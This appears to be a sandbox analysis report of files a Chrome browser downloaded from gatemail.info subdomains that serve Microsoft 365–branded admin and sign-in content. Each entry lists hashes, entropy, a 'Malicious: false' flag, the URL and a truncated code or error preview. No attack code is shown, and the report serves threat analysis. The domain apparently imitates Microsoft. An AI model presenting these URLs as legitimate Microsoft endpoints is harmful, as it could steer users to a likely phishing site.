Preview: /*!. * ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects
listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and 
notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all 
other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . *   json2.js (2016-05-01). *   https://github.gatemail.info/dougl
ascrockford/JSON-js. *   License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE --
----------------------------------------. */.(window.webpackJsonp=window.webpackJsonp||[]).push([[33],{459:func

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.358304756760283

Encrypted: false

SSDEEP: 3:JLWMNHU8LdgCAqZj+kKlGjoWWUAVMABcyFKBWRTWA1EnfVy+thPWnRUflclmx9Kv:JiMVBdgqZjZWtMfgRTH1EfRLP+Rmug6n

MD5: D2B0D98C5EE56D0A8BE86650D5D5F625

SHA1: 1A039CA8D924D5B1F414B195EC98222059291B91

SHA-256: C87EF5B682E585BCB472684F9A48CEFB6E5A2C542325226A3D5E86143FD3D77B

SHA-512: 08A2B00CFBF98BC46FCCC54055F18A95B38DE5E00E5F8C1EB8E9AD2DDF6A91D54E739B315E78F8398340A5042FD939F601BA1EF70110DDF395D117D6E5FD173
1

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/reporting.js

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:abbcf765-801e-001f-7bdf-5
979c5000000.Time:2023-03-18T21:22:42.9397392Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.241422138702046

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH154VUsGv/K+UzAXg6n:MMHdVBKW/UTOGvSAw6

MD5: 441797976677630EB8A1962FF0705192

SHA1: 5C71352AED7C5FE47F75C780A49D0484ED9BE2AB

SHA-256: BE4DA0AD914F571E4F6E9D3D04697FDB19EB6D2056D7B35981585ED4C365C5EB

SHA-512: 4A4D4A7C240CB9ABAB0C5A0874893145F9C0DB485D9CA0DF88AC3653A8B40389ACC378FF29FC48ADCF35401FCB64E8AC46FE322DE44A745565EB966862C915
7E

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/images/servicestatus.png

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199
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Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:5f32dba5-701e-001b-
01df-59f4c2000000.Time:2023-03-18T21:22:46.6020615Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.337298995821634

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1/eI/UGK+ZWag6n:MMHdVBZWyUTBe4bWr6

MD5: 8DA817B0827B22979B90FE70A8ED3D19

SHA1: 0961F554787795F7FEDDE7544DA44F274C29EA3D

SHA-256: 6ABD8FEB350BED63FA7AF815F9265B046E138EAA13D04CE7FFB4E505AF70D609

SHA-512: F4B6127E73340495732295F3E7955AF9B15BE1B6BF5C276B94953367303753A772FE88E05CE2B9FD3AD969DE1C13F1B29667DEC656726A80C59341135F2B9319

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/website.css

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:7cb8b102-e01e-0019-6adf-5
94a7a000000.Time:2023-03-18T21:22:14.9666136Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.314881232712637

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1EEKrVUZRkEAXK+NXg6n:MMHdVBZWyUT2gkEAI6

MD5: 54E18545937DFEA1C81B821C2142C80D

SHA1: 98FE90BA4A338A63D65155086D13D1CFA2A2A845

SHA-256: 638F160700D1465ACA4C1B394522DF5F4A0B3628D7A68DE49DA4DE276B93AA8C

SHA-512: F2DD3340D02B510CD21482BDE707501BAFFF630ACF6E0D2B7AD0A996D901BD9A4934D86B05B9FC32F1A443F4D2BAAB2E3A360349160F480DA2041F779E89357
9

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/webtrendsstream.js

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:3f115b16-b01e-0014-36df-5
982ae000000.Time:2023-03-18T21:22:41.5390349Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.162927511997713

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH1gjIVJgsUg0+8s5g6n:MMHdVBKW/UTyjoZUgEv6

MD5: 2AA077FB27DBBE0533A99F617F68F4E3

SHA1: 8A9F5936062C5F4DD59F43E6E524EFE280EF1571

SHA-256: E25783926B0E4767E33C74B267EEFB4482B8D41999FA9AC999642EF1DA7D13E2

SHA-512: 6E47818E2EC10BAC2D3C69CA053441E6880FFC7B9415A29758B999113D3CA20AD674A8B0C61654601BD24E5DFC26842FE83787A0D36122F7B94A9C2A6036DF0E

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/images/spinner_16x16_metro.gif

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:3c5dde5d-101e-000d-
80df-590215000000.Time:2023-03-18T21:22:51.5142684Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203
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Size (bytes): 226

Entropy (8bit): 5.250706880150656

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV1GNWtRV75+E605g6n:MMHdVBMHgWdzR05wWtzpZ+6

MD5: F385D4E948DCFE212BEAFD65BCFDB808

SHA1: 1849732D2795647D7C56BAC11E9E878F049366D5

SHA-256: 32C4865E9C780145AF6AA4D160E2778DFBF8D56ED6E37D332AA4600971C3A088

SHA-512: CD8C326DB694B12C561B8032BCB821343BA46C0530CE49F63A018F539574F389CCD26124ED1F4E14F4DDF6DC6827A011026A21684CC9DDF380D3A2E526EA8086

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_nav_highlight.jpg

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:cf57d330-a01e-0045-
03df-591f22000000.Time:2023-03-18T21:22:49.5315523Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (871), with no line terminators

Category: downloaded

Size (bytes): 871

Entropy (8bit): 5.423380177243932

Encrypted: false

SSDEEP: 24:hlLTtmD0bHG8AGdHETdYqfPfDckaTWTT6ja:zxmDiGdzlfP7k6Tr

MD5: DF374EFAB03DC76FA27E854A90ED0ECB

SHA1: 575553D06B27E7FB67EA215A976EEA7F8012B58D

SHA-256: BAA7A218BE928987957642F3DC47B055044CCD89896BF4AC1DB3190ED4AE2AAD

SHA-512: 4E2E23986231F11F0A935E2344CEA5C2E1C1E965BBF61334A5BAF5A298825A4AC17CA8134C68296093765254885E561878932D9AA803654CA3BE2F4A482F7451

Malicious: false

URL: https://signup.gatemail.info/favicon.ico

Preview: <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'><html xmlns='http://www.w3.or
g/1999/xhtml'><head><meta content='text/html; charset=utf-8' http-equiv='content-type'/><style type='text/css'>body { font-family:Arial; margin-left:40px; }img  { border:0 
none; }#content { margin-left: auto; margin-right: auto }#message h2 { font-size: 20px; font-weight: normal; color: #000000; margin: 34px 0px 0px 0px }#message p  { font-
size: 13px; color: #000000; margin: 7px 0px 0px 0px }#errorref { font-size: 11px; color: #737373; margin-top: 41px }</style><title>Microsoft</title></head><body><div id
='content'><div id='message'><h2>The request is blocked.</h2></div><div id='errorref'><span>Ref A: 7005C837E3C1418A86EF04AB338209D0 Ref B: LAXEDGE1912 
Ref C: 2023-03-18T21:22:32Z</span></div></div></body></html>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (7714)

Category: downloaded

Size (bytes): 1066963

Entropy (8bit): 5.598518133531549

Encrypted: false

SSDEEP: 24576:fKPX3c5h1Z4bJ57tS0tHdD3TSZWkcSKdpPVS14akDeFpJGQ0QVtLX9BYW65pW:fKPX3vtS0rjVS1EyGQ0evv

MD5: 69DA4F6B5FF726FA2EA5B2A4204725AB

SHA1: 3ACA6A5B60168A9E6A6D3CAEC37BAD085DBCA65E

SHA-256: 05B525A0D51F7624C380906FFD729BEC58EC1052F3BD9F844DFE0BCABF6C094A

SHA-512: 11689AF1F2EF5CBFB7B3B625FABFB451D447744FECFC5ED25EDF95C82DEF872ED9F402CE2FEBA8BA92D6E098D9AC2730782B0F6A0AA1F4F0583DC9BD74285
57E

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/angularextensions.js

Preview: !function(n,t,i){"use strict";;angular.module("angular-tour",["angular-tour.tour"]),angular.module("angular-tour.tour",[]).constant("tourConfig",{placement:"top",animatio
n:!0,nextLabel:"Next",scrollSpeed:500,margin:28,backDrop:!1,useSourceScope:!1,containerElement:"body"}).controller("TourController",["$scope","orderedList",func
tion(n,t){var i=this,r=i.steps=t();i.postTourCallback=angular.noop,i.postStepCallback=angular.noop,i.showStepCallback=angular.noop,i.currentStep=-1,n.$watch(function()
{return i.currentStep},function(n){i.select(n)}),i.select=function(n){if(angular.isNumber(n)){i.unselectAllSteps();var t=r.get(n);t&&(t.ttOpen=!0),i.currentStep!==n&&(i.curr
entStep=n),i.currentStep>-1&&i.showStepCallback(),n>=r.getCount()&&i.postTourCallback(!0),i.postStepCallback()}},i.addStep=function(n){angular.isNumber(n.index)
&&!isNaN(n.index)?r.set(n.index,n):r.push(n)},i.unselectAllSteps=function(){r.forEach(function(n){n.ttOpen=!1})},i.cancelTour=function(){i.unselectAllSteps(),i.postTourCa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (24942), with no line terminators

Category: downloaded

Size (bytes): 24942

Entropy (8bit): 5.213985584208541

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Chrome Cache Entry: 206
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Encrypted: false

SSDEEP: 384:H3xbuOg4kiHaATrphVIVXxvz0uvcIUwBnAw1Lmbfoi+H9JT59gpHb:HtXnaAphSxhz0uvc2BnAbf9+HfTgRb

MD5: 4542D764783C82BD784326FB357F0C62

SHA1: FC5619DAD451C77794AB8759C404D3233F5FA1A8

SHA-256: 965993B2B2C5B69E0AAF3C76372CC5D1494E638C79AF67F2FEFA0AECF67572A1

SHA-512: 51A469D84B7064CA03259E443C776FB208168AE4240F76553331F806F5D9A11BD3B55D5B5BA8257BBF66CD7116CB5B4AACA1E1754AD96656FB011E297E1CC701

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/mscorlib.js

Preview: (function(){function f(t){n?n.push(t):setTimeout(t,0)}function i(){var i,t,r;if(n)for(i=n,n=null,t=0,r=i.length;t<r;t++)i[t]()}var u={version:"0.7.2.0",isUndefined:function(n){return 
n===undefined},isNull:function(n){return n===null},isNullOrUndefined:function(n){return n===null||n===undefined},isValue:function(n){return n!==null&&n!==undefined}},e
=!1,n=[],t,r;document.addEventListener?document.readyState=="complete"?i():document.addEventListener("DOMContentLoaded",i,!1):window.attachEvent&&wind
ow.attachEvent("onload",function(){i()}),t=window.ss,t||(window.ss=t={init:f,ready:f});for(r in u)t[r]=u[r]})(),Object.__typeName="Object",Object.__baseType=null,Object.c
learKeys=function(n){for(var t in n)delete n[t]},Object.keyExists=function(n,t){return n[t]!==undefined},Object.keys?Object.getKeyCount=function(n){return Object.keys(n).
length}:(Object.keys=function(n){var t=[],i;for(i in n)t.push(i);return t},Object.getKeyCount=function(n){var t=0,i;for(i in n)t++;return t}),Boolean.__typeName

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SVG Scalable Vector Graphics image

Category: downloaded

Size (bytes): 3651

Entropy (8bit): 4.094801914706141

Encrypted: false

SSDEEP: 96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO

MD5: EE5C8D9FB6248C938FD0DC19370E90BD

SHA1: D01A22720918B781338B5BBF9202B241A5F99EE4

SHA-256: 04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A

SHA-512: C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58

Malicious: false

URL: https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38
.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,
1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.
081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.70
7,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-
1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343
a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Unicode text, UTF-8 text, with very long lines (65274), with no line terminators

Category: downloaded

Size (bytes): 94253

Entropy (8bit): 5.554592592865898

Encrypted: false

SSDEEP: 1536:RsIRhmmdbHjsKbr57N4nEtjk5ubInf4u/5ChyBzeo5oiVbS09+XmpgLmlxguC2zJ:mIRhm47NtmeYxC2zvR

MD5: 1E8E7989507798129A261DB6A091FA39

SHA1: 4BE068741E4F6D65999092458BE4BF46D946453A

SHA-256: 9993D928FADEB7D710C55EB9E1E6E5C03AD969BAB55DB42CCFAADA7D68D3AFEF

SHA-512: 99F9D43CEA6915B9C896EFEC3EDA7A62ADAD3F339554A95C55F3B7D49E7074C5262ACFD8D68D96AD0B6974693F24F778E7E58B6F4E33CFEF830C447745DE2A
67

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/masterstyles15.css

Preview: .adminScoped *{line-break:strict}.o15table,.o15table2{width:100%;margin-bottom:30px;border-collapse:separate;border-spacing:1px}.o15table th,.o15table2 th{font-
weight:normal;white-space:nowrap;width:25%;font-size:11px}.o15table th,.o15table td{padding:5px 12px;vertical-align:top;text-align:left}.adminScoped h4{line-hei
ght:normal}.adminScoped h5{line-height:normal}.adminScoped h6{line-height:normal}.adminScoped a:hover{text-decoration:underline;cursor:pointer}.adminScoped a[di
sabled]{color:#666!important}.adminScoped a[disabled]:hover{cursor:default;text-decoration:none}.adminScoped p{margin:1ex 0 1ex 0}.adminScoped img{border-style:
none}.adminScoped hr{border:solid 1px #505050;margin:8px 0 8px 0}.DropdownList-disabled,.TextBox-disabled{opacity:.4;filter:alpha(opacity=40)}.adminScoped th{font-
weight:normal;text-align:left}.adminScoped select:disabled{color:#c3cdd2;background-color:#fff;border:solid 1px #d5dee2}.adminScoped option{padding-left:10px
}.adminScoped option:disabled{color:#c3c

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (7600), with no line terminators

Category: downloaded

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209
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Size (bytes): 7600

Entropy (8bit): 4.755347264022592

Encrypted: false

SSDEEP: 96:gTJ0Z6QYvW81oyLEfqSorX5Kjb6tk63LA5D287sq5pY+0dnk3P54aaoJ99orOoY0:S0dYjueAynT8js

MD5: BC6A941A872D57146E13823F6935A7F2

SHA1: E648D16D68417B81616454539EDD8303E04DBEC7

SHA-256: D132D49C1C8945F5C43AE470BADF2B6EDCD584297E84E59DD2034FFB7DC863B3

SHA-512: F9629A3E82E24FC48DEA4C677491235AAB0098CEDF40DB9F98E53CA430B5DD105A2D9F092E007351AFE2BCCCD2A430C9020EDAE55665E3F3517703A3D00CDB
71

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/o365themedefault.css

Preview: .o365-theme-base,.o365-theme-base input,.o365-theme-base textarea,.o365-theme-base select{background-color:#fff;color:#333;border-color:#666}.o365-theme-base h1
,.o365-theme-base h3,.o365-theme-base h4,.o365-theme-base h5,.o365-theme-base h6{color:#333}.o365-theme-base h2{color:#666}.o365-theme-base a{color:#0
078d7}.o365-theme-base input:focus,.o365-theme-base input:hover,.o365-theme-base textarea:focus,.o365-theme-base textarea:hover,.o365-theme-base select:hover,.o
365-theme-base select:focus{border-color:#2b88d8}.o365-theme-base a[disabled],.o365-theme-base a[disabled]:hover{color:#666!important}.o365-theme-base input[dis
abled],.o365-theme-base textarea[disabled]{background-color:#f4f4f4;border-color:#eaeaea;color:#a6a6a6}.o365-theme-base input:disabled,.o365-theme-base textarea
:disabled{background-color:#f4f4f4;border-color:#eaeaea;color:#a6a6a6}.o365-theme-base input[type=submit]{background-color:#0078d7;border-color:#0078d7}.o365-th
eme-base .DataTable td,.o365-theme-base .DataTable

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.226928461042808

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH1zsG56c+4n/5g6n:MMHdVBKW/UTlsG5bG6

MD5: 32E9375C027665CAE21C6340E9E008BE

SHA1: 408C14F8DC251229AEAF40B2D82D942ECFEB3C67

SHA-256: 64D05CD3747C2AFE45588B72EBB8F70541BB50613A3037A41746791A8854B27A

SHA-512: 9770FA844064CA2BECFF3A582FF4593EC1E34EC610BBCDA1234CD8540B9DD61B4A699E4A1363D725D279F320AD5CCC17A60469F9A80AF5B9AFBFC313E8CCE
E23

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/images/scrollbar/arrow_staticup_16.png

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:38f86e60-201e-0006-
80df-59f97e000000.Time:2023-03-18T21:22:54.9693753Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (2370)

Category: downloaded

Size (bytes): 2413

Entropy (8bit): 5.394412823907214

Encrypted: false

SSDEEP: 48:9QCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIE1ndCWrc:9QC3Na5+GX+Ti2XsYE5y

MD5: FB0DC2BA085B3CF2276A492027072279

SHA1: C004C0DC42C85A521B64E7CFD53C0EA3C544EE5E

SHA-256: 0DAB60ADA6EA48255468B2F7634081FD35B406EC79D0265CCDE03E609FE81718

SHA-512: 59D5849B8825E8C647AE2C3072FD1755F1E9D01FB585A72C848C833D098F28A1A48784909807C9D9D743C4320802001563ABD096346A21333B82EFC1A1313BF5

Malicious: false

URL: https://live.gatemail.info/Me.htm?v=3

Preview: <script type="text/javascript">. !function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s
.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;retur
n!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s*(\w+)\s*=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.
indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(
c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f||e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>
=4){var g=c[3],m=g.split("|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 1864

Chrome Cache Entry: 210

Chrome Cache Entry: 211

Chrome Cache Entry: 212
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Entropy (8bit): 5.222032823730197

Encrypted: false

SSDEEP: 48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B

MD5: BC3D32A696895F78C19DF6C717586A5D

SHA1: 9191CB156A30A3ED79C44C0A16C95159E8FF689D

SHA-256: 0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68

SHA-512: 8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 
1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1
351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 
1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 
1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" 
gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-col
or="#c4c4c4" stop-opacity="0"/></radialGradient><r

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (15826), with no line terminators

Category: downloaded

Size (bytes): 15826

Entropy (8bit): 5.0385631615124895

Encrypted: false

SSDEEP: 192:VlxxgkrOOIrUC8ZvLtqiZ30EEAizFM62TdQ7ktq/P0DRcjKjRDJgVXH4/HU:Vlx3lIc98XP1jKjRDJgx3

MD5: 4FFEFDDDD6436A4F698716B639BC0EE4

SHA1: 391D506855D6DCCBFD1C334EC38438A88F6945CC

SHA-256: 57C62E9908BDC97148D1F63729D1CD607371044298D7F66BEA51627D1A8B66E1

SHA-512: E3C3DE740594ECFA941A408317FE15DA03C32EE75AA61A7C7B3B0E44A1A664DB6066C81B9526FDC998D5DA2234BDD96FEB6FD31BF48B0D8B53C56AAE3D2F7
0A7

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/masterstyles15mvc.css

Preview: .pl-shell-footer-hide{display:none}.pl-padding-hide{display:none}.mvc-validator>.field-validation-error{border:1px solid red}.adminScoped input[type=submit]{min-width:100
px;display:inline-block;margin-right:10px;margin-left:0;margin-top:5px;text-transform:lowercase;vertical-align:baseline;border:1px solid;color:#fff;text-align:center;line-
height:normal;font-size:13px;padding:0 0 0 0}.mpl-layout{margin-left:50px;margin-right:50px;line-height:normal}.mpl-layout.gemini{font-family:"SegoeUI-Light-final","Segoe 
UI Light","Segoe UI",Segoe,Tahoma,Helvetica,Arial,Sans-Serif;-webkit-font-smoothing:antialiased;font-size:16px;line-height:20px}.mpl-layout.gemini *{box-sizing:border-b
ox}.mpl-layout-table{width:100%}.mpl-banner-box.gemini{position:absolute;top:0;padding-top:17px;padding-bottom:17px;padding-left:30px;padding-right:42px}.mpl-ba
nner-box-text.gemini{font-size:36px;line-height:36px}.mpl-banner-box-hidden{display:none}.mpl-header-td{min-width:300px}.mpl-header-td{vertical-align:middle}.mp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Unicode text, UTF-8 text, with very long lines (65532), with no line terminators

Category: downloaded

Size (bytes): 228597

Entropy (8bit): 5.224013747764069

Encrypted: false

SSDEEP: 3072:H7b73vmxkXamzDLk6Pp/en4CYjd+Lo5QIeQ0H:b33vekXRk2p/eHYILo5Qd

MD5: 4E6DD2C20238A2E2F22219A4B07618D1

SHA1: 4DD6BF9A428477A76407E029BEA08F7B111670D0

SHA-256: CEBA78DBBC440D7CDB8A23AA81E3EC0D880D72A70F1D91D56F1CBC6B1B25B55B

SHA-512: D4B7726902C61336BD7CA635196AB6BF0A34FC4776E4D28E92966C7CC41360B8A499894088E74709C743714255C946DFE2256F8A0EFC7B394E9BBBAE68D94434

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/microsoftajaxcombined.js

Preview: var $get,$create,$addHandler,$addHandlers,$clearHandlers,$common,CommonToolkitScripts,$AA;(function(n,t){function vt(){function ru(n,i){function l(n){if(typeof 
f!==h)throw Error.argument("value",String.format(t.Res.enumInvalidValue,n,this.__typeName));}var r=this,u,f,c,o,s,y;if(i){if(u=r.__lowerCaseValues,!u){r.__lower
CaseValues=u={},o=r.prototype;for(s in o)u[s.toLowerCase()]=o[s]}}else u=r.prototype;if(r.__flags){for(var a=(i?n.toLowerCase():n).split(dt),v=0,e=a.length-1;e>=0;e--)y=a
[e].trim(),f=u[y],typeof f!==h&&l.call(r,n.split(dt)[e].trim()),v|=f;return v}return c=i?n.toLowerCase():n,f=u[c.trim()],typeof f!==h&&l.call(r,n),f}function uu(n){var u=this,e,t,r
,s,h,c,o;if(typeof n===f||n===i)return u.__string;if(e=u.prototype,u.__flags&&n!==0){if(r=u.__sortedValues,!r){r=[];for(t in e)r.push({key:t,value:e[t]});r.sort(function(n,t){return 
n.value-t.value}),u.__sortedValues=r}for(s=[],h=n,t=r.length-1;t>=0;t--)if((c=r[t],o=c.value,o!==0)&&(o&n)===o&&(s.push(c.key),h-=o,h===0))break;if(

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 226

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215
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Entropy (8bit): 5.294780928396312

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV1FNOdc+Hg6n:MMHdVBMHgWdzR05FNx6

MD5: A1177B7AFB296D11EC5A534F76A0150B

SHA1: 90A138438B49004CBBF1DFA23836B4009A3DC421

SHA-256: C68ACDEA7EE30C9F61EA14989309B10977EB174978D3B0432BF9601ACECFBB01

SHA-512: B690656F4E4537C192578155C93710AAA8578536E35054FAA953520315262C8119AD0976E890818995B8EB955B0DEE3A54F7481FDE065E800A9F834DDEA688AA

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Shell/Images/O365SharedClusteredImage.png

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:fdb5113d-d01e-0002-
20df-597479000000.Time:2023-03-18T21:22:45.4350966Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

